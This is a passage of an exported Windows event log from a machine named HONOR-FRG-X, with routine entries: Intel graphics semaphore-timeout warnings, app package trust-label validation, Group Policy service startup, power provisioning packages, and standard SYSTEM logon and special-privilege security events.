stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:33.222\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:33.780\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:34.111\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:34.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:35.231\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:37.445\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:37.665\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:39.345\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:39.565\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:39.898\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:40.230\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:40.565\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:40.786\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:41.013\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:41.685\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:42.132\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:43.024\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:43.243\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:43.570\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:44.117\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:44.471\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:44.782\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:44.802\t3056\tTile Notification are being cleared for MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets - informed session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:38:45.448\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:47.317\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:56.881\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:02.055\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:39:02.079\t201\tCreated process 13580 for application Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer in package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe. [FinishPackageActivation]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:39:02.146\t211\tAdded process 5116 to Desktop AppX container 245cdaf2-a8c9-11f1-b7ff-289200f24a99 for package MicrosoftWindows.Client.CBS_1000.26100.344.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:39:02.362\t8100\tStarting validation and setting the Trust Label on package MSTeams_26093.415.4620.1935_x64__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.372\t8101\tFinished validation and setting the Trust Label on package MSTeams_26093.415.4620.1935_x64__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.389\t8100\tStarting validation and setting the Trust Label on package Microsoft.Windows.Photos_2026.11060.2004.0_x64__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.391\t8106\tPackage Microsoft.Windows.Photos_2026.11060.2004.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x122\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.391\t8101\tFinished validation and setting the Trust Label on package Microsoft.Windows.Photos_2026.11060.2004.0_x64__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.392\t8000\t\"Process Name: C:\\WINDOWS\\system32\\svchost.exe\nModule Name: C:\\WINDOWS\\SYSTEM32\\licensemanagerapi.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:39:02.392\t8001\t\"canDisableApps value is 0\nFunction: InitStoreAppsAreDisabled\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (195)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:39:02.393\t8001\t\"Skipping license manager: PFN Microsoft.Windows.Photos_2026.11060.2004.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:39:02.411\t8100\tStarting validation and setting the Trust Label on package Microsoft.Paint_11.2605.71.0_x64__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.413\t8106\tPackage Microsoft.Paint_11.2605.71.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x122\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.413\t8101\tFinished validation and setting the Trust Label on package Microsoft.Paint_11.2605.71.0_x64__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.414\t8001\t\"Skipping license manager: PFN Microsoft.Paint_11.2605.71.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:39:02.424\t8100\tStarting validation and setting the Trust Label on package Microsoft.MicrosoftOfficeHub_19.2607.44041.0_x64__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.426\t8106\tPackage Microsoft.MicrosoftOfficeHub_19.2607.44041.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x122\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.426\t8101\tFinished validation and setting the Trust Label on package Microsoft.MicrosoftOfficeHub_19.2607.44041.0_x64__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.427\t8001\t\"Skipping license manager: PFN Microsoft.MicrosoftOfficeHub_19.2607.44041.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:39:02.453\t8100\tStarting validation and setting the Trust Label on package Microsoft.MicrosoftEdge.Stable_152.0.4191.53_neutral__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.455\t8101\tFinished validation and setting the Trust Label on package Microsoft.MicrosoftEdge.Stable_152.0.4191.53_neutral__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.464\t8100\tStarting validation and setting the Trust Label on package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.466\t8101\tFinished validation and setting the Trust Label on package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.476\t8100\tStarting validation and setting the Trust Label on package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:02.478\t8101\tFinished validation and setting the Trust Label on package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe with flags 0x122.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:39:04.326\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, WhqlProvider, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:39:05.105\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:05.550\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:06.381\t800\tMaintenance state changed to 3 (Last Run: \u200e05.\u200e09.\u200e2026 8:39).\tInformation\tMicrosoft-Windows-TaskScheduler/Maintenance\tMicrosoft-Windows-TaskScheduler\n05.09.2026 08:39:06.919\t1018\t\"ReadyBoot disk assessment completed in 563 ms.\n     Disk Assessment Timestamp: \u200e2026\u200e-\u200e09\u200e-\u200e05T08:39:06.368586900Z\n     Result: 0x44C\"\tInformation\tMicrosoft-Windows-ReadyBoost/Operational\tMicrosoft-Windows-ReadyBoost\n05.09.2026 08:39:06.947\t90\t\"Settings detail.\nsource = LogonIdleTask.\npackageIdToDelete = .\npackagePathsToAdd = .\"\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:07.011\t800\tMaintenance state changed to 1 (Last Run: \u200e05.\u200e09.\u200e2026 8:39).\tInformation\tMicrosoft-Windows-TaskScheduler/Maintenance\tMicrosoft-Windows-TaskScheduler\n05.09.2026 08:39:07.044\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:39:07.044\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:39:07.069\t4019\tDcSvc: Service is being initialized.\tInformation\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider\n05.09.2026 08:39:07.069\t4009\tDcSvc: Service status updated. Current state: (0x2), Exit code: (0x0), Wait hint: (0x64).\tInformation\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider\n05.09.2026 08:39:07.069\t4000\tDcSvc: Successfully initialized service. Result: (The operation completed successfully.).\tInformation\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider\n05.09.2026 08:39:07.069\t4009\tDcSvc: Service status updated. Current state: (0x4), Exit code: (0x0), Wait hint: (0x0).\tInformation\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider\n05.09.2026 08:39:07.748\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:39:07.748\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:39:07.767\t4116\tStarted the Group Policy service initialization phase.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.771\t4115\tGroup Policy Service started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.772\t5324\tGroup Policy received the notification CreateSession from Winlogon for session 0.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.772\t5351\tGroup policy session returned to winlogon.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.773\t4117\tGroup Policy Session started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.775\t5351\tGroup policy session returned to winlogon.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.776\t4117\tGroup Policy Session started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.777\t5116\tSuccessfully completed the Group Policy Service initialization phase.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.778\t5117\tGroup policy session completed successfully.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.778\t5320\tThe Group Policy Client service is currently configured as a standalone service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.778\t5320\tInitializing and reading current service configuration for the Group Policy Client service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.778\t5320\tInitializing service instance state to detect previous instances of the service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.778\t5321\tA previous instance of the Group Policy Client Service was detected. Parameter: f6220be5-9108-4ed7-bae9-40e6046eeaa4\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.779\t5117\tGroup policy session completed successfully.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:39:07.808\t16\tThe access history in hive \\??\\C:\\ProgramData\\Microsoft\\Provisioning\\Microsoft-Desktop-Provisioning-Sequence.dat was cleared updating 0 keys and creating 0 modified pages.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:39:08.005\t20\tApplying package 'Power.EnergyEstimationEngine.Control.ppkg' ID: {1e05dd5d-a022-46c5-963c-b20de341170f}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.011\t20\tApplying package 'Power.EnergyEstimationEngine.CPU.ppkg' ID: {c5dc3753-b6c8-4057-b396-bf13d769311c}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.016\t20\tApplying package 'Power.EnergyEstimationEngine.Display.ppkg' ID: {ee4aac98-c174-4941-82b1-d121e493e4fb}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.021\t20\tApplying package 'Power.EnergyEstimationEngine.MBB.ppkg' ID: {99b095d8-5959-4820-bea7-7448c8427b4e}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.028\t20\tApplying package 'Power.EnergyEstimationEngine.StandbyActivation.ppkg' ID: {8d196d7f-3eef-48ad-8bea-be749f12d3ad}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.034\t20\tApplying package 'Power.EnergyEstimationEngine.Storage.ppkg' ID: {9aec5bda-1e87-46b3-bb96-1a01c606555e}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.039\t20\tApplying package 'Power.EnergyEstimationEngine.Telemetry.ppkg' ID: {8fb7d64e-70fc-4f9d-89ee-d486817534df}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.045\t20\tApplying package 'Power.EnergyEstimationEngine.Wifi.ppkg' ID: {b0b9123d-7d7f-4c6b-9973-ceced46f2a09}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.050\t20\tApplying package 'Power.Settings.Battery.ppkg' ID: {7a30a9be-737f-47a1-a541-6e7b0761ed19}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.054\t20\tApplying package 'Power.Settings.Button.ppkg' ID: {18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.059\t20\tApplying package 'Power.Settings.Control.ppkg' ID: {5f568920-10ad-4dc0-a97e-b78a3255c351}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.064\t20\tApplying package 'Power.Settings.Disk.ppkg' ID: {9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}.\tInformation\tMicrosoft-Windows-Provisioning-Diagnostics-Provider/Admin\tMicrosoft-Windows-Provisioning-Diagnostics-Provider\n05.09.2026 08:39:08.070\t20\tApplying package 'Power.Settings.Display.ppkg' ID: 